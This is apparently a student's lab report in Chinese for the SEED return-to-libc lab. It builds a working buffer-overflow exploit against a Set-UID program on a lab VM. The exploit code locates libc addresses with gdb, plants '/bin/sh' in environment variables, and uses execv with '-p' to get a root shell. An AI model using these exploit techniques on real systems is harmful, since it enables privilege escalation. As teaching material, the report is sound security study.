Return-to-libc Attack Lab

61519213　　王江涛

Task 1: Finding out the Addresses of libc Functions

当关闭内存地址随机化时，对于同一程序（在相同权限下），该库始终加载在相同的内存地址中（对于不同的程序，libc 库的内存地址可能不同）。因此，我们可以使用 gdb 等调试工具来很容易地找到 system()的地址。

注意：即使对于同一程序，如果我们将它从 Set-UID 程序更改为非 Set-UID 程序，libc 库也可能不会加载到同一位置。因此，当我们调试程序时，我们需要调试目标 Set-UID 程序；否则，我们得到的地址可能会不正确。

利用提供的 makefile 进行编译：

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
```

利用 gdb 进行调试

```
[07/13/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you me
an "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you m
ean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ run
Starting program: /home/seed/Desktop/Labs_20.04/Software Security/Return-to-Libc
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ q
```

Task 2: Putting the shell string in the memory

我们的攻击目标是跳转到 system()函数，并让它执行任意命令。我们希望 system()函数执行“/bin/sh”程序。因此，命令字符串“/bin/sh”必须首先放在内存中，我们需要知道它的地址，并传递给 system()函数。我们主要利用环境变量的方式完成。

```
[07/13/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[07/13/21]seed@VM:~/.../Labsetup$ printenv MYSHELL
/bin/sh
```

编译如下程序：

```
#include<stdio.h>

void main()
{
        char* shell=getenv("MYSHELL");
        if (shell)
                printf("%x\n",(unsigned int)shell);
}
```

```
[07/13/21]seed@VM:~/.../test$ gcc -m32 -o prentv test.c
test.c: In function 'main':
test.c:5:14: warning: implicit declaration of function 'getenv' [-Wimplicit-func
tion-declaration]
    5 |  char* shell=getenv("MYSHELL");
      |              ^~~~~~
test.c:5:14: warning: initialization of 'char *' from 'int' makes pointer from i
nteger without a cast [-Wint-conversion]
[07/13/21]seed@VM:~/.../test$ ./prentv
ffffd36c
```

Task 3: Launching the Attack

在前面的问题中，我们已经得到/bin/ls，exit，system()的具体位置，因此在本任务中，我们应该确定其存放的位置。

```
FILE *badfile;

memset(buf, 0xaa, 200); // fill the buffer with non-zeros

*(long *) &buf[70] = 0xbffffe8c ;   //  The address of "/bin/sh"
*(long *) &buf[66] = 0xb7e52fb0 ;   //  The address of exit()
*(long *) &buf[62] = 0xb7e5f430 ;   //  The address of system()

badfile = fopen("./badfile", "w");
fwrite(buf, sizeof(buf), 1, badfile);
```

ebp + 12

ebp + 8

ebp + 4

如图，可以知道三者存放的位置，因此我们仅需求得 ebp 存放的位置即可。

```
Address of buffer[] inside bof():   0xffffcc00
Frame Pointer value inside bof():   0xffffcc18
```

如图，我们可以计算得到 0x******18-0x******00=24，即 ebq 存放的位置，从而有 X，Y，Z 的值分别为 36，28，32

修改代码如下：

```
X = 36
sh_addr = 0xffffd36c    # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
```

如图，可知攻击成功

```
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd00
Input size: 300
Address of buffer[] inside bof():  0xffffccd0
Frame Pointer value inside bof():  0xffffcce8
#
```

问题思考：

1）exit 是否必须：exit 函数不是必须的，只是便于攻击完成退出。如果不设置 shell 执行完后执行 exit 函数，那么原本位置的值有极大概率为无效值，那么会报段错误强行退出。

实验如下：

```
#Z = 32
#exit_addr = 0xf7e04f80     # The address of exit()
#content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
```

```
[07/14/21]seed@VM:~/.../Labsetup$ vi exploit.py
[07/14/21]seed@VM:~/.../Labsetup$ python3 exploit.py
[07/14/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd00
Input size: 300
Address of buffer[] inside bof():  0xffffccd0
Frame Pointer value inside bof():  0xffffcce8
$
$
$ exit
Segmentation fault
```

2）修改名字主要是影响程序栈上的环境变量，如修改后长度与之前一样，那么能继续攻击成功。如不一样就会攻击失败，因为字符串的地址会发生变化。这正是我们之前在寻找 system 时，讲文件编译文 prentv 的原因。

改名之后攻击失败：

```
[07/14/21]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main():  0xffffcd00
Input size: 300
Address of buffer[] inside bof():  0xffffccd0
Frame Pointer value inside bof():  0xffffcce8
sh: 1: h: not found
Segmentation fault
```

当然，我们可以推测出新的/bin/sh 地址，即可攻击成功

/bin/sh=0xffffd366

```
[07/15/21]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main():  0xffffcd00
Input size: 300
Address of buffer[] inside bof():  0xffffccd0
Frame Pointer value inside bof():  0xffffcce8
$
```

Task 4: Defeat Shell’s countermeasure

注：由于重新启动取消地址随机化，有些地址有些许变化
在此次攻击中，我们主要需要掌握两个 /bin/bash 以及 -p 的地址
与 TASK2 的方法一制，我们 export 两个变量，并编写代码如下：

```c
#include<stdio.h>

void main(){
    char* shell = getenv("MYBASH");
    if (shell)
        printf("%x\n", (unsigned int)shell);
    char* shell2 = getenv("MYP");
    if (shell2)
        printf("%x\n", (unsigned int)shell2);
}
```

```
Segmentation fault
[07/16/21]seed@VM:~/.../Labsetup$ ./prntev
ffffde0b
ffffd421
```

由此，我们还需得到 execv 的地址

```
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
```

修改代码如图：

```python
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

input_addr = 0xffffcd40
p_addr=0xffffd421

X = 36
sh_addr = 0xffffde0b       # The address of "/bin/bash"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
content[X+4:X+8]=(input_addr+100).to_bytes(4,byteorder='little')

content[100:100+4] = (sh_addr).to_bytes(4,byteorder='little')
content[104:108] = (p_addr).to_bytes(4,byteorder='little')
content[108:112] = (0x00000000).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e994b0    # The address of execv()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
"exploit.py" 29L, 851C                                20,49          33%
```

不难发现，攻击成功

```
[07/16/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd40
Input size: 300
Address of buffer[] inside bof():  0xffffcd10
Frame Pointer value inside bof():  0xffffcd28
bash-5.0# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
bash-5.0# whoid
bash: whoid: command not found
bash-5.0#
 "exploit.py" 29L, 851C                                        20,49          33%
```